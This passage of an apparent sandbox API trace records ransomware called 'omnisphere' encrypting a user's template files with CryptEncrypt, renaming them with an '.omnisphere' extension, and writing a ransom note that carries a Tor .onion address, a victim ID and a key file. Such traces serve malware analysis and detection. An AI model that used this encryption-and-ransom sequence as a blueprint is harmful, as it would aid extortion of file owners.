hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.326] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.326] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.326] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.327] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.327] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.327] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.327] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.327] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.327] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.327] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.327] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.327] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.327] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.327] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.327] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.327] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.327] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.327] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.327] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.327] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.327] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.327] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.327] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.327] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.328] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.328] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.328] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.328] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.328] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.328] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.328] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.328] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.328] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.328] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.328] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.328] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.328] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.328] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.328] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.328] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.328] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.328] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.328] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.328] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.328] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.328] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.329] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.329] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.329] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.329] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.329] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.329] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.329] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.329] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.348] CryptDestroyKey (hKey=0x16394e8) returned 1 [0117.348] CryptReleaseContext (hProv=0x16683d8, dwFlags=0x0) returned 1 [0117.348] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x5cc66, lpNewFilePointer=0x0, dwMoveMethod=0x3e0dcbc | out: lpNewFilePointer=0x0) returned 1 [0117.348] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e0d770*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0dcd0, lpOverlapped=0x0 | out: lpBuffer=0x3e0d770*, lpNumberOfBytesWritten=0x3e0dcd0*=0x524, lpOverlapped=0x0) returned 1 [0117.349] GetProcessHeap () returned 0x1600000 [0117.349] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2b4) returned 0x16958c0 [0117.349] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\templates\\cashflow analysis.xltm"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\templates\\cashflow analysis.xltm.omnisphere")) returned 1 [0117.350] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm.omnisphere.id" [0117.350] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\templates\\cashflow analysis.xltm.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0117.351] WriteFile (in: hFile=0x288, lpBuffer=0x3e0d770*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d758, lpOverlapped=0x0 | out: lpBuffer=0x3e0d770*, lpNumberOfBytesWritten=0x3e0d758*=0x524, lpOverlapped=0x0) returned 1 [0117.352] CloseHandle (hObject=0x288) returned 1 [0117.354] UnmapViewOfFile (lpBaseAddress=0x1700000) returned 1 [0117.359] CloseHandle (hObject=0x28c) returned 1 [0117.359] SetEndOfFile (hFile=0x3a0) returned 1 [0117.359] FlushFileBuffers (hFile=0x3a0) returned 1 [0117.730] CloseHandle (hObject=0x3a0) returned 1 [0117.730] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates") returned 1 [0117.730] GetProcessHeap () returned 0x1600000 [0117.730] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1695b80 [0117.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0117.730] GetProcessHeap () returned 0x1600000 [0117.730] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16939b8 [0117.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16939b8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0117.730] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0117.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0117.731] GetProcessHeap () returned 0x1600000 [0117.731] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1687488 [0117.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1687488, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0117.731] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0117.731] GetProcessHeap () returned 0x1600000 [0117.731] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cd68 [0117.731] PathCombineW (in: pszDest=0x162cd68, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\!DECRYPT_OMNISPHERE.txt" [0117.731] GetProcessHeap () returned 0x1600000 [0117.731] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1698378 [0117.732] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\templates\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0117.733] WriteFile (in: hFile=0x3a0, lpBuffer=0x1698378*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0dcf0, lpOverlapped=0x0 | out: lpBuffer=0x1698378*, lpNumberOfBytesWritten=0x3e0dcf0*=0x588, lpOverlapped=0x0) returned 1 [0117.734] CloseHandle (hObject=0x3a0) returned 1 [0117.734] GetProcessHeap () returned 0x1600000 [0117.734] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1695b80 | out: hHeap=0x1600000) returned 1 [0117.734] GetProcessHeap () returned 0x1600000 [0117.734] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x9c) returned 0x1656c10 [0117.734] PathCombineW (in: pszDest=0x1656c10, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\unique_decrypt.key" [0117.734] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\templates\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0117.735] WriteFile (in: hFile=0x3a0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0dd04, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0dd04*=0x5a0, lpOverlapped=0x0) returned 1 [0117.736] CloseHandle (hObject=0x3a0) returned 1 [0117.736] GetProcessHeap () returned 0x1600000 [0117.736] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1656c10 | out: hHeap=0x1600000) returned 1 [0117.736] GetProcessHeap () returned 0x1600000 [0117.736] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162ccb8 | out: hHeap=0x1600000) returned 1 [0117.736] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="LiveContent", cAlternateFileName="LIVECO~1")) returned 1 [0117.736] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1594be7a, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x1594be7a, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x15a0aa18, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x4605, dwReserved0=0x0, dwReserved1=0xdb, cFileName="Normal.dotm", cAlternateFileName="NORMAL~1.DOT")) returned 1 [0117.736] GetProcessHeap () returned 0x1600000 [0117.737] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x8e) returned 0x167bb68 [0117.737] PathCombineW (in: pszDest=0x167bb68, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates", pszFile="Normal.dotm" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm" [0117.737] StrStrW (lpFirst=".omnisphere", lpSrch=".dotm") returned 0x0 [0117.737] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\templates\\normal.dotm"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0117.737] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x3e0dcc8 | out: lpFileSize=0x3e0dcc8*=17925) returned 1 [0117.737] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x40e1, lpNewFilePointer=0x0, dwMoveMethod=0x3e0dcbc | out: lpNewFilePointer=0x0) returned 1 [0117.737] ReadFile (in: hFile=0x3a0, lpBuffer=0x3e0d770, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0dcb8, lpOverlapped=0x0 | out: lpBuffer=0x3e0d770*, lpNumberOfBytesRead=0x3e0dcb8*=0x524, lpOverlapped=0x0) returned 1 [0117.738] GetTickCount () returned 0x115d6e4 [0117.738] GetTickCount () returned 0x115d6e4 [0117.738] GetTickCount () returned 0x115d6e4 [0117.738] GetTickCount () returned 0x115d6e4 [0117.739] GetTickCount () returned 0x115d6e4 [0117.739] GetTickCount () returned 0x115d6e4 [0117.739] GetTickCount () returned 0x115d6e4 [0117.739] GetTickCount () returned 0x115d6e4 [0117.739] GetTickCount () returned 0x115d6e4 [0117.739] GetTickCount () returned 0x115d6e4 [0117.739] GetTickCount () returned 0x115d6e4 [0117.739] GetTickCount () returned 0x115d6e4 [0117.739] GetTickCount () returned 0x115d6e4 [0117.739] GetTickCount () returned 0x115d6e4 [0117.739] GetTickCount () returned 0x115d6e4 [0117.739] GetTickCount () returned 0x115d6e4 [0117.739] GetTickCount () returned 0x115d6e4 [0117.739] GetTickCount () returned 0x115d6e4 [0117.739] GetTickCount () returned 0x115d6e4 [0117.739] GetTickCount () returned 0x115d6e4 [0117.739] GetTickCount () returned 0x115d6e4 [0117.739] GetTickCount () returned 0x115d6e4 [0117.739] GetTickCount () returned 0x115d6e4 [0117.739] GetTickCount () returned 0x115d6e4 [0117.739] GetTickCount () returned 0x115d6e4 [0117.739] GetTickCount () returned 0x115d6e4 [0117.739] GetTickCount () returned 0x115d6e4 [0117.739] GetTickCount () returned 0x115d6e4 [0117.739] GetTickCount () returned 0x115d6e4 [0117.739] GetTickCount () returned 0x115d6e4 [0117.739] GetTickCount () returned 0x115d6e4 [0117.739] GetTickCount () returned 0x115d6e4 [0117.739] CryptAcquireContextW (in: phProv=0x3e0d750, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d750*=0x1668c58) returned 1 [0117.740] CryptImportKey (in: hProv=0x1668c58, pbData=0x3e0d6b8, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d75c | out: phKey=0x3e0d75c*=0x16396a8) returned 1 [0117.740] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0dc08*, pdwDataLen=0x3e0d74c*=0x75, dwBufLen=0x80 | out: pbData=0x3e0dc08*, pdwDataLen=0x3e0d74c*=0x80) returned 1 [0117.740] CryptDestroyKey (hKey=0x16396a8) returned 1 [0117.740] CryptReleaseContext (hProv=0x1668c58, dwFlags=0x0) returned 1 [0117.740] CreateFileMappingW (hFile=0x3a0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4605, lpName=0x0) returned 0x28c [0117.741] MapViewOfFile (hFileMappingObject=0x28c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4605) returned 0x1480000 [0117.741] CryptAcquireContextW 